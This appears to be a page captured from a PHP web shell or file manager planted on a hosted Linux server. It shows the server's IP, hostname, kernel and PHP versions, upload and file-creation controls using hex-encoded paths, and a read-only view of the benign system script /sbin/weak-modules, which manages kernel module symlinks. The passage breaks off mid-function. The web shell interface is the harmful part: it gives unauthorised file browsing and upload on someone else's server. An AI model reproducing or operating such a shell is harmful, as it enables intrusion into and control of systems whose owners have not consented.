3.145.196.150</span></li>
<li>Server IP : <span style="color: white;">184.168.122.143</span></li>
<li>Server : <span style="color: white;">Linux 143.122.168.184.host.secureserver.net 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64</span></li>
<li>Server Software : <span style="color: white;">Apache</span></li>
<li>PHP Version : <span style="color: white;">8.1.30</span></li>
<li>Add File : <a href="?p=2f2f7362696e&a=6e657746696c65" class="ohct">Submit</a></li>
<li>Add Directory : <a href="?p=2f2f7362696e&a=6e6577446972" class="ohct">Submit</a></li>
<li><form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
<input type="file" name="f[]">
<input type="submit" value="Upload" name="submit" class="ohct">
 
</form></li>
</div>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;border: 2px solid aqua;border-radius:5px;">
<li>Dir : <span><a href="?p=2f" class="combet">~</a>/<a class="combet" href="?p=2f2f7362696e">sbin</a>/ 
</span></li></div>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: 17px;">
<div class="table-responsive text-light">
<h5 class="p-1" style="text-align: center;border: 2px solid aqua;border-radius:5px;">View File Name : <font color="white">weak-modules</font></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly>#!/usr/bin/bash
#
# weak-modules - determine which modules are kABI compatible with installed
#                kernels and set up the symlinks in /lib/*/weak-updates.
#
unset LANG LC_ALL LC_COLLATE

tmpdir=$(mktemp -td ${0##*/}.XXXXXX)
trap &quot;rm -rf $tmpdir&quot; EXIT
unset ${!changed_modules_*} ${!changed_initramfs_*}

unset BASEDIR
unset CHECK_INITRAMFS
weak_updates_dir_override=&quot;&quot;
default_initramfs_prefix=&quot;/boot&quot; # will be combined with BASEDIR
dracut=&quot;/usr/bin/dracut&quot;
depmod=&quot;/sbin/depmod&quot;
depmod_orig=&quot;$depmod&quot;
declare -a modules
declare -A module_krels
declare -A weak_modules_before

declare -A groups
declare -A grouped_modules

# output of validate_weak_links, one iteration
# short_name -&gt; path
declare -A compatible_modules

# state for update_modules_for_krel (needed for add_kernel case)
# short_name -&gt; path
declare -A installed_modules

# doit:
# A wrapper used whenever we&#039;re going to perform a real operation.
doit() {
    [ -n &quot;$verbose&quot; ] &amp;&amp; echo &quot;$@&quot;
    [ -n &quot;$dry_run&quot; ] || &quot;$@&quot;
}

# pr_verbose:
# print verbose -- wrapper used to print extra messages if required
pr_verbose() {
    [ -n &quot;$verbose&quot; ] &amp;&amp; echo &quot;$@&quot;
}

# pr_warning:
# print warning
pr_warning() {
    echo &quot;WARNING: $*&quot;
}

# rpmsort: The sort in coreutils can&#039;t sort the RPM list how we want it so we
# instead transform the list into a form it will sort correctly, then sort.
rpmsort() {
    local IFS=$&#039; &#039;
    REVERSE=&quot;&quot;
    rpmlist=($(cat))

    if [ &quot;-r&quot; == &quot;$1&quot; ];
    then
        REVERSE=&quot;-r&quot;
    fi

    echo ${rpmlist[@]} | \
        sed -e &#039;s/-/../g&#039; | \
        sort ${REVERSE} -n -t&quot;.&quot; -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 -k6,6 -k7,7 \
             -k8,8 -k9,9 -k10,10 | \
        sed -e &#039;s/\.\./-/g&#039;
}

# krel_of_module:
# Compute the kernel release of a module.
krel_of_module() {
    local module=&quot;$1&quot;

    if [ x&quot;${module_krels[$module]+set}&quot; = x&quot;set&quot; ]; then
        # version cached in the array already
        echo &quot;${module_krels[$module]}&quot;
    elif [ -f &quot;$module&quot; ]; then
        krel_of_module_modinfo &quot;$module&quot;
    else
        # Try to extract the kernel release from the path
        # delete case, the .ko already deleted
        set -- &quot;${module#*/lib/modules/}&quot;
        echo &quot;${1%%/*}&quot;
    fi
}

# krel_of_module_modinfo:
# Fetches module version from internal module info
krel_of_module_modinfo() {
    local module=&quot;$1&quot;
    /sbin/modinfo -F vermagic &quot;$module&quot; | awk &#039;{print $1}&#039;
}

# weak_updates_dir:
# gives the root directory for the weak-updates
# We need some flexibility here because of dry-run.
weak_updates_dir() {
    local krel=&quot;$1&quot;

    if [[ -z &quot;$weak_updates_dir_override&quot; ]]; then
        echo &quot;$BASEDIR/lib/modules/$krel/weak-updates&quot;
    else
        echo &quot;$weak_updates_dir_override&quot;
    fi
}

# read_modules_list:
# Read in a list of modules from standard input. Convert the filenames into
# absolute paths and compute the kernel release for each module (either using
# the modinfo section or through the absolute path.
# If used with input redirect, should be used as read_module_list &lt; input,
# not input | read_modules_list, the latter spawns a subshell
# and the arrays are not seen in the caller
read_modules_list() {
    local IFS=$&#039;\n&#039;
    modules=($(cat))

    for ((n = 0; n &lt; ${#modules[@]}; n++)); do
        if [ ${modules[n]:0:1} != &#039;/&#039; ]; then
            modules[n]=&quot;$PWD/${modules[n]}&quot;
        fi
        module_krels[&quot;${modules[n]}&quot;]=$(krel_of_module ${modules[n]})
    done
}

decompress_initramfs() {
    local input=$1
    local output=$2

    # First, check if this is compressed at all
    if cpio -i -t &lt; &quot;$input&quot; &gt; /dev/null 2&gt;/dev/null; then
        # If this archive contains a file early_cpio, it&#039;s a trick. Strip off
        # the early cpio archive and try again.
        if cpio -i -t &lt; &quot;$input&quot; 2&gt;/dev/null | grep -q &#039;^early_cpio$&#039; ; then
            /usr/lib/dracut/skipcpio &quot;$input&quot; &gt; &quot;${tmpdir}/post_early_cpio.img&quot;
            decompress_initramfs &quot;${tmpdir}/post_early_cpio.img&quot; &quot;$output&quot;
            retval=&quot;$?&quot;
            rm -f &quot;${tmpdir}/post_early_cpio.img&quot;
            return $retval
        fi

        cp &quot;$input&quot; &quot;$output&quot;
        return 0
    fi

    # Try gzip
    if gzip -cd &lt; &quot;$input&quot; &gt; &quot;$output&quot; 2&gt;/dev/null ; then
        return 0
    fi

    # Next try xz
    if xz -cd &lt; &quot;$input&quot; &gt; &quot;$output&quot; 2&gt;/dev/null ; then
        return 0
    fi

    echo &quot;Unable to decompress $input: Unknown format&quot; &gt;&amp;2
    return 1
}

# List all module files and modprobe configuration that could require a new
# initramfs. The current directory must be the root of the uncompressed
# initramfs. The unsorted list of files is output to stdout.
list_module_files() {
    find . -iname \*.ko -o -iname &#039;*.ko.xz&#039; -o -iname &#039;*.ko.gz&#039; 2&gt;/dev/null
    find etc/modprobe.d usr/lib/modprobe.d -name \*.conf 2&gt;/dev/null
}

# read_old_initramfs:
compare_initramfs_modules() {
    local old_initramfs=$1
    local new_initramfs=$2

    rm -rf &quot;$tmpdir/old_initramfs&quot;
    rm -rf &quot;$tmpdir/new_initramfs&quot;
    mkdir &quot;$tmpdir/old_initramfs&quot;
    mkdir &quot;$tmpdir/new_initramfs&quot;

    decompress_initramfs &quot;$old_initramfs&quot; &quot;$tmpdir/old_initramfs.img&quot;
    pushd &quot;$tmpdir/old_initramfs&quot; &gt;/dev/null
    cpio -i &lt; &quot;$tmpdir/old_initramfs.img&quot; 2&gt;/dev/null
    rm &quot;$tmpdir/old_initramfs.img&quot;
    n=0; for i in `list_module_files|sort`; do
        old_initramfs_modules[n]=&quot;$i&quot;
        n=$((n+1))
    done
    popd &gt;/dev/null

    decompress_initramfs &quot;$new_initramfs&quot; &quot;$tmpdir/new_initramfs.img&quot;
    pushd &quot;$tmpdir/new_initramfs&quot; &gt;/dev/null
    cpio -i &lt; &quot;$tmpdir/new_initramfs.img&quot; 2&gt;/dev/null
    rm &quot;$tmpdir/new_initramfs.img&quot;
    n=0; for i in `list_module_files|sort`; do
        new_initramfs_modules[n]=&quot;$i&quot;
        n=$((n+1))
    done
    popd &gt;/dev/null

    # Compare the length and contents of the arrays
    if [ &quot;${#old_initramfs_modules[@]}&quot; == &quot;${#new_initramfs_modules[@]}&quot; -a \
         &quot;${old_initramfs_modules[*]}&quot; == &quot;${new_initramfs_modules[*]}&quot; ];
    then
        # If the file lists are the same, compare each file to find any that changed
        for ((n = 0; n &lt; ${#old_initramfs_modules[@]}; n++)); do
            if ! cmp &quot;$tmpdir/old_initramfs/${old_initramfs_modules[n]}&quot; \
                     &quot;$tmpdir/new_initramfs/${new_initramfs_modules[n]}&quot; \
                     &gt;/dev/null 2&gt;&amp;1
            then
                return 1
            fi
        done
    else
        return 1
    fi

    return 0
}

# check_initramfs:
# check and possibly also update the initramfs for changed kernels
check_initramfs() {
    local kernel=$1

    # If there is no initramfs already we will not make one here.
    if [ -e &quot;$initramfs_prefix/initramfs-$kernel.img&quot; ];
    then
        old_initramfs=&quot;$initramfs_prefix/initramfs-$kernel.img&quot;
        tmp_initramfs=&quot;$initramfs_prefix/initramfs-$kernel.tmp&quot;
        new_initramfs=&quot;$initramfs_prefix/initramfs-$kernel.img&quot;

        $dracut -f &quot;$tmp_initramfs&quot; &quot;$kernel&quot;

        if ! compare_initramfs_modules &quot;$old_initramfs&quot; &quot;$tmp_initramfs&quot;;
        then
            doit mv &quot;$tmp_initramfs&quot; &quot;$new_initramfs&quot;
        else
            rm -f &quot;$tmp_initramfs&quot;
        fi
    fi
}

usage() {
    echo &quot;Usage: ${0##*/} [options] {--add-modules|--remove-modules}&quot;
    echo &quot;${0##*/} [options] {--add-kernel|--remove-kernel} {kernel-release}&quot;
    cat &lt;&lt;&#039;EOF&#039;
--add-modules
        Add a list of modules read from standard input. Create
        symlinks in compatible kernel&#039;s weak-updates/ directory.
        The list of modules is read from standard input.

--remove-modules
        Remove compatibility symlinks from weak-updates/ directories
        for a list of modules.  The list of modules is read from
        standard input. Note: it doesn&#039;t attempt to locate any
        compatible modules to replace those being removed.

--add-kernel
        Add compatibility symlinks for all compatible modules to the
        specified or running kernel.

--remove-kernel
        Remove all compatibility symlinks for the specified or current
        kernel.

--no-initramfs
        Do not generate an initramfs.

--verbose
        Print the commands executed.

--dry-run
        Do not create/remove any files.
EOF
    exit $1
}

# module_has_changed:
# Mark if an actual change occured that we need to deal with later by calling
# depmod or mkinitramfs against the affected kernel.
module_has_changed() {

    declare module=$1 krel=$2
    declare orig_module=$module

    module=${module%.ko}
    [[ $module == $orig_module ]] &amp;&amp; module=${module%.ko.xz}
    [[ $module == $orig_module ]] &amp;&amp; module=${module%.ko.gz}
    module=${module##*/}

    eval &quot;changed_modules_${krel//[^a-zA-Z0-9]/_}=$krel&quot;
    eval &quot;changed_initramfs_${krel//[^a-zA-Z0-9]/_}=$krel&quot;

}

# module_weak_link:
# Generate a weak link path for the module.
# Takes module file name and the target kernel release as arguments
# The way of generation intentionally left from the initial version
module_weak_link() {
    local module=&quot;$1&quot;
    local krel=&quot;$2&quot;
    local module_krel
    local subpath
    local module_krel_escaped

    module_krel=&quot;$(krel_of_module &quot;$module&quot;)&quot;
    module_krel_escaped=$(echo &quot;$module_krel&quot; | \
                              sed &#039;s/\([.+?^$\/\\|()\[]\|\]\)/\\\0/g&#039;)
    subpath=$(echo $module | sed -nre &quot;s:$BASEDIR(/usr)?/lib/modules/$module_krel_escaped/([^/]*)/(.*):\3:p&quot;)

    if [[ -z $subpath ]]; then
        # module is not in /lib/modules/$krel?
        # It&#039;s possible for example for Oracle ACFS compatibility check
        # Install it with its full path as a /lib/modules subpath
        subpath=&quot;$module&quot;
    fi

    echo &quot;$(weak_updates_dir $krel)/${subpath#/}&quot;
}

# module_short_name:
# &#039;basename&#039; version purely in bash, cuts off path from the filename
module_short_name() {
    echo &quot;${1##*/}&quot;
}

#### Helper predicates

# is_weak_for_module_valid:
# Takes real module filename and target kernel as arguments.
# Calculates weak symlink filename for the corresponding module
# for the target kernel,
# returns &#039;true&#039; if the symlink filename is a symlink
# and the symlink points to a readable file
# EVEN if it points to a different filename
is_weak_for_module_valid() {
    local module=&quot;$1&quot;
    local krel=&quot;$2&quot;
    local weak_link

    weak_link=&quot;$(module_weak_link $module $krel)&quot;
    [[ -L &quot;$weak_link&quot; ]] &amp;&amp; [[ -r &quot;$weak_link&quot; ]]
}

# is_weak_link:
# Takes a filename and a kernel release.
# &#039;true&#039; if the filename is symlink under weak-updates/ for the kernel.
# It doesn&#039;t matter, if it&#039;s a valid symlink (points to a real file) or not.
is_weak_link() {
    local link=&quot;$1&quot;
    local krel=&quot;$2&quot;

    echo $link | grep -q &quot;$(weak_updates_dir $krel)&quot; || return 1
    [[ -L $link ]]
}

# is_extra_exists:
# Takes a module filename, the module&#039;s kernel release and target kernel release.
# The module filename should be a real, not a symlink, filename (i.e. in extra/).
# Returns &#039;true&#039; if the same module exists for the target kernel.
is_extra_exists() {
    local module=&quot;$1&quot;
    local module_krel=&quot;$2&quot;
    local krel=&quot;$3&quot;
    local subpath=&quot;${module#*/lib/modules/$module_krel/extra/}&quot;

    [[ -f $BASEDIR/lib/modules/$krel/extra/$subpath ]]
}

is_kernel_installed() {
    local krel=&quot;$1&quot;

    find_symvers_file &quot;$krel&quot; &gt; /dev/null &amp;&amp;
        find_systemmap_file &quot;$krel&quot; &gt; /dev/null
}

is_empty_file() {
    local file=&quot;$1&quot;

    [[ &quot;$(wc -l &quot;$file&quot; | cut -f 1 -d &#039; &#039;)&quot; == 0 ]]
}

#### Helpers

# find_modules:
# Takes kernel release and a list of subdirectories.
# Produces list of module files in the subdirectories for the kernel
find_modules() {
    local krel=&quot;$1&quot;
    shift
    local dirs=&quot;$*&quot;

    for dir in $dirs; do
        find $BASEDIR/lib/modules/$krel/$dir \
             -name &#039;*.ko&#039; -o -name &#039;*.ko.xz&#039; -o -name &#039;*.ko.gz&#039; \
             2&gt;/dev/null
    done
}

# find_modules_dirs:
# Takes a list of directories.
# Produces list of module files in the subdirectories
find_modules_dirs() {
    local dirs=&quot;$*&quot;

    for dir in $dirs; do
        find $dir -name &#039;*.ko&#039; -o -name &#039;*.ko.xz&#039; -o -name &#039;*.ko.gz&#039; \
             2&gt;/dev/null
    done
}

# find_installed_kernels:
# Produces list of kernels, which modules are still installed
find_installed_kernels() {
    ls $BASEDIR/lib/modules/
}

# find_kernels_with_extra:
# Produces list of kernels, where exists extra/ directory
find_kernels_with_extra() {
    local krel
    local extra_dir

    for krel in $(find_installed_kernels); do
        extra_dir=&quot;$BASEDIR/lib/modules/$krel/extra&quot;
        [[ -d &quot;$extra_dir&quot; ]] || continue
        echo &quot;$krel&quot;
    done
}

# remove_weak_link_quiet:
# Takes symlink filename and target kernel release.
# Removes the symlink and the directory tree
# if it was the last file in the tree
remove_weak_link_quiet() {
    local link=&quot;$1&quot;
    local krel=&quot;$2&quot;
    local subpath=&quot;${link#*$(weak_updates_dir $krel)}&quot;

    rm -f $link
    ( cd &quot;$(weak_updates_dir $krel)&quot; &amp;&amp; \
          rmdir --parents --ignore-fail-on-non-empty &quot;$(dirname &quot;${subpath#/}&quot;)&quot; 2&gt;/dev/null )
}

# prepare_sandbox:
# Takes kernel release, creates temporary weak-modules directory for it
# and depmod config to operate on it.
# Sets the global state accordingly

prepare_sandbox() {
    local krel=&quot;$1&quot;
    local orig_dir
    local dir
    local conf=&quot;$tmpdir/depmod.conf&quot;

    #directory
    orig_dir=$(weak_updates_dir $krel)
    dir=&quot;$tmpdir/$krel/weak-updates&quot;

    mkdir -p &quot;$dir&quot;
    # the orig_dir can be empty
    cp -R &quot;$orig_dir&quot;/* &quot;$dir&quot; 2&gt;/dev/null

    weak_updates_dir_override=&quot;$dir&quot;

    #config
    echo &quot;search external extra built-in weak-updates&quot; &gt;&quot;$conf&quot;
    echo &quot;external * $dir&quot; &gt;&gt;&quot;$conf&quot;

    depmod=&quot;$depmod_orig -C $conf&quot;
}

# discard_installed:
# remove installed_modules[] from modules[]
discard_installed()
{
    local short_name

    for m in &quot;${!modules[@]}&quot;; do
        short_name=&quot;$(module_short_name &quot;${modules[$m]}&quot;)&quot;

        [[ -z &quot;${installed_modules[$short_name]}&quot; ]] &amp;&amp; continue

        unset &quot;modules[$m]&quot;
    done
}

# update_installed:
# add compatible_modules[] to installed_modules[]
update_installed()
{
    for m in &quot;${!compatible_modules[@]}&quot;; do
        installed_modules[$m]=&quot;${compatible_modules[$m]}&quot;
    done
}

# finish_sandbox:
# restore global state after sandboxing
# copy configuration to the kernel directory if not dry run
finish_sandbox() {
    local krel=&quot;$1&quot;
    local override=&quot;$weak_updates_dir_override&quot;
    local wa_dir

    weak_updates_dir_override=&quot;&quot;
    depmod=&quot;$depmod_orig&quot;

    [[ -n &quot;$dry_run&quot; ]] &amp;&amp; return

    wa_dir=&quot;$(weak_updates_dir $krel)&quot;

    rm -rf &quot;$wa_dir&quot;
    mkdir -p &quot;$wa_dir&quot;

    cp -R &quot;${override}&quot;/* &quot;$wa_dir&quot; 2&gt;/dev/null
}

# Auxiliary functions to find symvers file
make_kernel_file_names() {
    local krel=&quot;$1&quot;
    shift
    local file=&quot;$1&quot;
    shift

    for suffix in &quot;$@&quot;; do
        echo &quot;${BASEDIR}/boot/${file}-${krel}${suffix}&quot;
        echo &quot;${BASEDIR}/lib/modules/${krel}/${file}${suffix}&quot;
    done
}

find_kernel_file() {
    local krel=&quot;$1&quot;
    shift
    local file=&quot;$1&quot;
    shift
    local print=&quot;$1&quot;
    shift
    local i

    if [[ &quot;$print&quot; != &quot;&quot; ]]; then
        make_kernel_file_names &quot;$krel&quot; &quot;$file&quot; &quot;$@&quot;
        return 0
    fi

    for i in  $(make_kernel_file_names &quot;$krel&quot; &quot;$file&quot; &quot;$@&quot;); do
        if [[ -r &quot;$i&quot; ]]; then
            echo &quot;$i&quot;
            return 0
        fi
    done

    return 1
}

# find_symvers_file:
# Since /boot/ files population process is now controlled by systemd&#039;s
# kernel-install bash script and its plug-ins, it might be the case
# that, while present, symvers file is not populated in /boot.
# Let&#039;s also check for /lib/modules/$kver/symvers.gz, since that&#039;s where
# it is populated from.
#
# $1 - krel
# return - 0 if symvers file is found, 1 otherwise.
# Prints symvers path if found, empty string otherwise.
find_symvers_file() {
    local krel=&quot;$1&quot;
    local print=&quot;$2&quot;

    find_kernel_file &quot;$krel&quot; symvers &quot;$print&quot; .xz .gz
}

# find_systemmap_file:
# Same as above but for System.map
find_systemmap_file() {
    local krel=&quot;$1&quot;
    local print=&quot;$2&quot;
    local no_suffix=&quot;&quot;

    find_kernel_file &quot;$krel&quot; System.map &quot;$print&quot; &quot;$no_suffix&quot;
}

#### Main logic

# update_modules_for_krel:
# Takes kernel release and &quot;action&quot; function name.
# Skips kernel without symvers,
# otherwise triggers the main logic of modules installing/removing
# for the given kernel, which is:
# - save current state of weak modules symlinks
# - install/remove the symlinks for the given (via stdin) list of modules
# - validate the state and remove invalid symlinks
#   (for the modules, which are not compatible (became incompatible) for
#   the given kernel)
# - check the state after validation to produce needed messages
#   and trigger initrd regeneration if the list changed.
#
update_modules_for_krel() {
    local krel=&quot;$1&quot;
    local func=&quot;$2&quot;
    local force_update=&quot;$3&quot;

    is_kernel_installed &quot;$krel&quot; || return

    prepare_sandbox $krel

    global_link_state_save $krel

    # remove already installed from modules[]
    discard_installed

    # do not run heavy validation procedure if no modules to install
    if [[ &quot;${#modules[@]}&quot; -eq 0 ]]; then
        finish_sandbox $krel
        return
    fi

    $func $krel

    if ! validate_weak_links $krel &amp;&amp; [[ -z &quot;$force_update&quot; ]]; then
        global_link_state_restore $krel
    fi

    # add compatible to installed
    update_installed

    global_link_state_announce_changes $krel

    finish_sandbox $krel
}

# update_modules:
# Common entry point for add/remove modules command
# Takes the &quot;action&quot; function, the module list is supplied via stdin.
# Reads the module list and triggers modules update for all installed
# kernels.
# Triggers initrd rebuild for the kernels, which modules are installed.
update_modules() {
    local func=&quot;$1&quot;
    local force_update=&quot;$2&quot;
    local module_krel
    declare -a saved_modules

    read_modules_list || exit 1
    [[ ${#modules[@]} -gt 0 ]] || return
    saved_modules=(&quot;${modules[@]}&quot;)

    for krel in $(find_installed_kernels); do
        update_modules_for_krel $krel $func $force_update
        modules=(&quot;${saved_modules[@]}&quot;)
        installed_modules=()
    done

    for module in &quot;${modules[@]}&quot;; do
        # Module was built against this kernel, update initramfs.
        module_krel=&quot;${module_krels[$module]}&quot;
        module_has_changed $module $module_krel
    done
}

# add_weak_links:
# Action function for the &quot;add-modules&quot; command
# Takes the kernel release, where the modules are added
# and the modules[] and module_krels[] global arrays.
# Install symlinks for the kernel with minimal checks
# (just filename checks, no symbol checks)
add_weak_links() {
    local krel=&quot;$1&quot;
    local module_krel
    local weak_link

    for module in &quot;${modules[@]}&quot;; do
        module_krel=&quot;$(krel_of_module $module)&quot;

        case &quot;$module&quot; in
            $BASEDIR/lib/modules/$krel/*)
                # Module already installed to the current kernel
                continue ;;
        esac

        if is_extra_exists $module $module_krel $krel; then
            pr_verbose &quot;found $(module_short_name $module) for $krel while installing for $module_krel, update case?&quot;
        fi

        if is_weak_for_module_valid $module $krel; then
            pr_verbose &quot;weak module for $(module_short_name $module) already exists for kernel $krel, update case?&quot;
            # we should update initrd in update case,
            # the change is not seen by the symlink detector
            # (global_link_state_announce_changes())
            module_has_changed $module $krel
        fi

        weak_link=&quot;$(module_weak_link $module $krel)&quot;

        mkdir -p &quot;$(dirname $weak_link)&quot;
        ln -sf $module $weak_link

    done
}

# remove_weak_links:
# Action function for the &quot;remove-modules&quot; command
# Takes the kernel release, where the modules are removed
# and the modules[] and module_krels[] global arrays.
# Removes symlinks from the given kernel if they are installed
# for the modules in the list.
remove_weak_links() {
    local krel=&quot;$1&quot;
    local weak_link
    local target
    local module_krel

    for module in &quot;${modules[@]}&quot;; do
        module_krel=&quot;$(krel_of_module $module)&quot;

        weak_link=&quot;$(module_weak_link $module $krel)&quot;
        target=&quot;$(readlink $weak_link)&quot;

        if [[ &quot;$module&quot; != &quot;$target&quot; ]]; then
            pr_verbose &quot;Skipping symlink $weak_link&quot;
            continue
        fi
        # In update case the --remove-modules call is performed
        # after --add-modules (from postuninstall).
        # So, we shouldn&#039;t really remove the symlink in this case.
        # But in the remove case the actual target already removed.
        if ! is_weak_for_module_valid &quot;$module&quot; &quot;$krel&quot;; then
            remove_weak_link_quiet &quot;$weak_link&quot; &quot;$krel&quot;
        fi
    done
}

# validate_weak_links:
# Takes kernel release.
# Checks if all the weak symlinks are suitable for the given kernel.
# Uses depmod to perform the actual symbol checks and parses the output.
# Since depmod internally creates the module list in the beginning of its work
# accroding to the priority list in its configuration, but without symbol
# check and doesn&#039;t amend the list during the check, the function runs it
# in a loop in which it removes discovered incompatible symlinks
#
# Returns 0 (success) if proposal is fine or
#         1 (false) if some incompatible symlinks were removed
# initializes global hashmap compatible_modules with all the valid ones
validate_weak_links() {
    local krel=&quot;$1&quot;
    local basedir=${BASEDIR:+-b $BASEDIR}
    local tmp
    declare -A symbols
    local is_updates_changed=1
    local module
    local module_krel
    local target
    local modpath
    local symbol
    local weak_link
    # to return to caller that original proposal is not valid
    # here 0 is true, 1 is false, since it will be the return code
    local is_configuration_valid=0

    tmp=$(mktemp -p $tmpdir)
    compatible_modules=()

    if ! [[ -e $tmpdir/symvers-$krel ]]; then
        local symvers_path=$(find_symvers_file &quot;$krel&quot;)

        [[ -n &quot;$symvers_path&quot; ]] || return
        zcat &quot;$symvers_path&quot; &gt; $tmpdir/symvers-$krel
    fi

    while ((is_updates_changed)); do
        is_updates_changed=0

        # again $tmp because of subshell, see read_modules_list() comment
        # create incompatibility report by depmod
        # Shorcut if depmod finds a lot of incompatible modules elsewhere,
        # we care only about weak-updates
        $depmod $basedir -naeE $tmpdir/symvers-$krel $krel 2&gt;&amp;1 1&gt;/dev/null | \
            grep &quot;$(weak_updates_dir $krel)&quot; 2&gt;/dev/null &gt;$tmp
        # parse it into symbols[] associative array in form a-la
        #   symbols[&quot;/path/to/the/module&quot;]=&quot;list of bad symbols&quot;
        while read line; do
            set -- $(echo $line | awk &#039;/needs unknown symbol/{print $3 &quot; &quot; $NF}&#039;)
            modpath=$1
            symbol=$2
            if [[ -n &quot;$modpath&quot; ]]; then
                symbols[$modpath]=&quot;${symbols[$modpath]} $symbol&quot;
                continue
            fi

            set -- $(echo $line | awk &#039;/disagrees about version of symbol/{print $3 &quot; &quot; $NF}&#039;)
            modpath=$1
            symbol=$2
            if [[ -n &quot;$modpath&quot; ]]; then
                symbols[$modpath]=&quot;${symbols[$modpath]} $symbol&quot;
                continue
            fi
        done &lt; $tmp

        # loop through all the weak links from the list of incompatible
        # modules and remove them. Skips non-weak incompatibilities
        for modpath in &quot;${!symbols[@]}&quot;; do
            is_weak_link $modpath $krel || continue

            target=$(readlink $modpath)
            module_krel=$(krel_of_module $target)

            remove_weak_link_quiet &quot;$modpath&quot; &quot;$krel&quot;

            pr_verbose &quot;Module $(module_short_name $modpath) from kernel $module_krel is not compatible with kernel $krel in symbols: ${symbols[$modpath]}&quot;
            is_updates_changed=1
            is_configuration_valid=1 # inversed value
        done
    done
    rm -f $tmp

    # this loop is just to produce verbose compatibility messages
    # for the compatible modules
    for module in &quot;${modules[@]}&quot;; do
        is_weak_for_module_valid $module $krel || continue

        weak_link=&quot;$(module_weak_link $module $krel)&quot;
        target=&quot;$(readlink $weak_link)&quot;
        module_krel=$(krel_of_module $target)

        if [[ &quot;$module&quot; == &quot;$target&quot; ]]; then
            short_name=&quot;$(module_short_name &quot;$module&quot;)&quot;
            compatible_modules+=([$short_name]=&quot;$module&quot;)

            pr_verbose &quot;Module ${module##*/} from kernel $module_krel is compatible with kernel $krel&quot;
        fi
    done
    return $is_configuration_valid
}

# global_link_state_save:
# Takes kernel release
# Saves the given kernel&#039;s weak symlinks state into the global array
# weak_modules_before[] for later processing
global_link_state_save() {
    local krel=&quot;$1&quot;
    local link
    local target

    weak_modules_before=()
    for link in $(find_modules_dirs $(weak_updates_dir $krel) | xargs); do
        target=$(readlink $link)
        weak_modules_before[$link]=$target
    done
}

# global_link_state_restore:
# Takes kernel release
# Restores the previous weak links state
# (for example, if incompatible modules were installed)
global_link_state_restore() {
    local krel=&quot;$1&quot;
    local link
    local target

    pr_verbose &quot;Falling back weak-modules state for kernel $krel&quot;

    ( cd &quot;$(weak_updates_dir $krel)&quot; 2&gt;/dev/null &amp;&amp; rm -rf * )

    for link in &quot;${!weak_modules_before[@]}&quot;; do
        target=${weak_modules_before[$link]}

        mkdir -p &quot;$(dirname $link)&quot;
        ln -sf $target $link
    done
}

# global_link_state_announce_changes:
# Takes kernel release
# Reads the given kernel&#039;s weak symlinks state, compares to the saved,
# triggers initrd rebuild if there were changes
# and produces message on symlink removal
global_link_state_announce_changes() {
    local krel=&quot;$1&quot;
    local link
    local target
    local new_target
    declare -A weak_modules_after

    for link in $(find_modules_dirs $(weak_updates_dir $krel) | xargs); do
        target=${weak_modules_before[$link]}
        new_target=$(readlink $link)
        weak_modules_after[$link]=$new_target

        # report change of existing link and appearing of a new link
        [[ &quot;$target&quot; == &quot;$new_target&quot; ]] || module_has_changed $new_target $krel
    done

    for link in &quot;${!weak_modules_before[@]}&quot;; do
        target=${weak_modules_before[$link]}
        new_target=${weak_modules_after[$link]}

        # report change of existing link and disappearing of an old link
        [[ &quot;$target&quot; == &quot;$new_target&quot; ]] &amp;&amp; continue
        module_has_changed $target $krel
        [[ -n &quot;$new_target&quot; ]] ||
            pr_verbose &quot;Removing compatible module $(module_short_name $target) from kernel $krel&quot;
    done
}

# remove_modules:
# Read in a list of modules from stdinput and process them for removal.
# Parameter (noreplace) is deprecated, acts always as &quot;noreplace&quot;.
# There is no sense in the &quot;replace&quot; functionality since according
# to the current requirements RPM will track existing of only one version
# of extra/ module (no same extra/ modules for different kernels).
remove_modules() {
    update_modules remove_weak_links force_update
}

# add_modules:
# Read in a list of modules from stdinput and process them for compatibility
# with installed kernels under /lib/modules.
add_modules() {
    no_force_update=&quot;&quot;

    update_modules add_weak_links $no_force_update
}

# do_make_groups:
# Takes tmp file which contains preprocessed modules.dep
# output (or modules.dep)
#
# reads modules.dep format information from stdin
# produces groups associative array
# the group is a maximum subset of modules having at least a link
#
# more fine tuned extra filtering.
do_make_groups()
{
    local tmp=&quot;$1&quot;
    local group_name
    local mod
    declare -a mods

    while read i; do
        mods=($i)

        echo &quot;${mods[0]}&quot; |grep -q &quot;extra/&quot; || continue

        # if the module already met, then its dependencies already counted
        module_group=&quot;${grouped_modules[${mods[0]}]}&quot;
        [[ -n $module_group ]] &amp;&amp; continue

        # new group
        group_name=&quot;${mods[0]}&quot;

        for mod in &quot;${mods[@]}&quot;; do
            echo &quot;$mod&quot; |grep -q &quot;extra/&quot; || continue

            # if there is already such group,
            # it is a subset of the one being created
            # due to depmod output
            unset groups[$mod]

            # extra space doesn&#039;t matter, since later (in add_kernel())
            # it is expanded without quotes
            groups[$group_name]+=&quot; $mod&quot;
            grouped_modules[$mod]=$group_name
        done
    done &lt; $tmp # avoid subshell
}

# filter_depmod_deps:
# preprocess output for make_groups
# depmod -n produces also aliases, so it cuts them off
# also it removes colon after the first module
cut_depmod_deps()
{
    awk &#039;BEGIN { pr = 1 } /^#/{ pr = 0 } pr == 1 {sub(&quot;:&quot;,&quot;&quot;); print $0}&#039;
}

# filter_extra_absoluted:
# Takes kernel version
# makes full path from the relative module path
# (produced by depmod for in-kernel-dir modules)
# filter only extra/ modules
filter_extra_absoluted()
{
    local kver=&quot;$1&quot;
    local mod
    declare -a mods

    while read i; do
        # skip non-extra. The check is not perfect, but ok
        # to speed up handling in general cases
        echo &quot;$i&quot; |grep -q &quot;extra/&quot; || continue

        mods=($i)
        for j in &quot;${!mods[@]}&quot;; do
            mod=&quot;${mods[$j]}&quot;

            [[ ${mod:0:1} == &quot;/&quot; ]] || mod=&quot;$BASEDIR/lib/modules/$kver/$mod&quot;
            mods[$j]=&quot;$mod&quot;
        done
        echo &quot;${mods[@]}&quot;
    done
}

# make_groups:
# takes k -- kernel version, we are installing extras from
# prepares and feeds to do_make_groups
# to create the module groups (global)
make_groups()
{
    local k=&quot;$1&quot;
